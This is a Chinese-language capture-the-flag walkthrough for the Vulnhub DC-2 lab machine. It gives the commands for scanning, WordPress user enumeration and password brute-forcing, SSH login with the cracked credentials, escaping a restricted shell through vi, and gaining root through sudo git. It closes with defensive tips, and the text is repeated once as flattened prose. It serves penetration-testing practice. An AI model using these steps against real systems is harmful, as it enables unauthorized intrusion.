vulnhub系列9——DC 2
字数 1199 2025-08-12 11:34:31

DC-2 靶机渗透测试详细教程

靶机信息

  • 名称:DC-2 (Vulnhub)
  • 难度:中级
  • 类型:WordPress网站+SSH服务
  • 主要技术点:信息收集、WordPress漏洞利用、密码爆破、Restricted Shell绕过、sudo提权

环境准备

  1. 下载DC-2靶机并导入虚拟机
  2. 确保攻击机与靶机在同一网络
  3. 准备Kali Linux或其他渗透测试系统

渗透测试步骤

一、信息收集

1. 发现目标IP

netdiscover -r 192.168.24.0/24

发现目标IP为192.168.24.239(根据实际环境调整)

2. 端口扫描与服务识别

nmap -sV -Pn -sC 192.168.24.239 -p 0-65535

扫描结果分析:

  • 80端口:HTTP服务,WordPress网站
  • 7744端口:SSH服务

3. 域名发现与hosts绑定

Nmap扫描结果显示有域名dc-2,需在本地hosts文件中添加:

echo "192.168.24.239 dc-2" >> /etc/hosts

二、WordPress站点渗透

1. 初步扫描

wpscan --url http://dc-2 --api-token YOUR_API_TOKEN

扫描结果显示存在多个漏洞但直接利用不成功

2. 发现提示

在网站页面发现flag1,提示:

  • 需要枚举用户
  • 使用cewl生成密码字典
  • 进行密码爆破

3. 用户枚举

wpscan --url http://dc-2 --api-token YOUR_API_TOKEN --enumerate u

发现三个用户:

  • admin
  • tom
  • jerry

4. 生成密码字典

cewl http://dc-2 -w passwd.txt

5. 密码爆破

爆破tom用户:

wpscan --url http://dc-2 --api-token YOUR_API_TOKEN -U tom -P passwd.txt

爆破结果:

  • tom: parturient
  • jerry: adipiscing

6. 登录后台

使用获得的凭证登录WordPress后台,发现flag2

三、SSH服务渗透

1. SSH登录尝试

使用爆破获得的用户名和密码尝试SSH登录:

ssh tom@dc-2 -p 7744

密码:parturient

2. 绕过Restricted Shell

登录后发现处于受限shell环境,使用vi绕过:

vi
:set shell=/bin/sh
:shell

然后设置环境变量:

export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

四、权限提升

1. 切换用户

检查/etc/passwd发现有jerry用户,尝试切换:

su jerry

密码:adipiscing

2. 检查sudo权限

sudo -l

发现jerry可以无需密码以root权限执行git命令

3. 利用git提权

sudo git -p help

在帮助界面输入:

!/bin/sh

即可获得root shell

4. 获取最终flag

在root目录下找到最终的flag文件

技术要点总结

  1. 信息收集:使用netdiscover和nmap全面扫描目标
  2. WordPress渗透
    • WPScan进行漏洞扫描和用户枚举
    • Cewl生成定制化密码字典
    • 针对WordPress的密码爆破技术
  3. Restricted Shell绕过
    • 利用vi编辑器功能绕过限制
    • 环境变量修复技术
  4. 权限提升
    • 用户切换与密码复用
    • Sudo提权技术(git命令滥用)

防御建议

  1. 限制WordPress用户枚举
  2. 使用强密码策略
  3. 禁用不必要的sudo权限
  4. 限制SSH登录尝试
  5. 使用更安全的shell限制方法

参考资源

  1. WPScan官方文档
  2. Cewl使用手册
  3. Restricted Shell绕过技术
  4. Sudo提权技术文档

通过本教程,您应该能够完整掌握DC-2靶机的渗透测试流程及相关技术要点。

DC-2 靶机渗透测试详细教程 靶机信息 名称:DC-2 (Vulnhub) 难度:中级 类型:WordPress网站+SSH服务 主要技术点:信息收集、WordPress漏洞利用、密码爆破、Restricted Shell绕过、sudo提权 环境准备 下载DC-2靶机并导入虚拟机 确保攻击机与靶机在同一网络 准备Kali Linux或其他渗透测试系统 渗透测试步骤 一、信息收集 1. 发现目标IP 发现目标IP为192.168.24.239(根据实际环境调整) 2. 端口扫描与服务识别 扫描结果分析: 80端口:HTTP服务,WordPress网站 7744端口:SSH服务 3. 域名发现与hosts绑定 Nmap扫描结果显示有域名dc-2,需在本地hosts文件中添加: 二、WordPress站点渗透 1. 初步扫描 扫描结果显示存在多个漏洞但直接利用不成功 2. 发现提示 在网站页面发现flag1,提示: 需要枚举用户 使用cewl生成密码字典 进行密码爆破 3. 用户枚举 发现三个用户: admin tom jerry 4. 生成密码字典 5. 密码爆破 爆破tom用户: 爆破结果: tom: parturient jerry: adipiscing 6. 登录后台 使用获得的凭证登录WordPress后台,发现flag2 三、SSH服务渗透 1. SSH登录尝试 使用爆破获得的用户名和密码尝试SSH登录: 密码:parturient 2. 绕过Restricted Shell 登录后发现处于受限shell环境,使用vi绕过: 然后设置环境变量: 四、权限提升 1. 切换用户 检查/etc/passwd发现有jerry用户,尝试切换: 密码:adipiscing 2. 检查sudo权限 发现jerry可以无需密码以root权限执行git命令 3. 利用git提权 在帮助界面输入: 即可获得root shell 4. 获取最终flag 在root目录下找到最终的flag文件 技术要点总结 信息收集 :使用netdiscover和nmap全面扫描目标 WordPress渗透 : WPScan进行漏洞扫描和用户枚举 Cewl生成定制化密码字典 针对WordPress的密码爆破技术 Restricted Shell绕过 : 利用vi编辑器功能绕过限制 环境变量修复技术 权限提升 : 用户切换与密码复用 Sudo提权技术(git命令滥用) 防御建议 限制WordPress用户枚举 使用强密码策略 禁用不必要的sudo权限 限制SSH登录尝试 使用更安全的shell限制方法 参考资源 WPScan官方文档 Cewl使用手册 Restricted Shell绕过技术 Sudo提权技术文档 通过本教程,您应该能够完整掌握DC-2靶机的渗透测试流程及相关技术要点。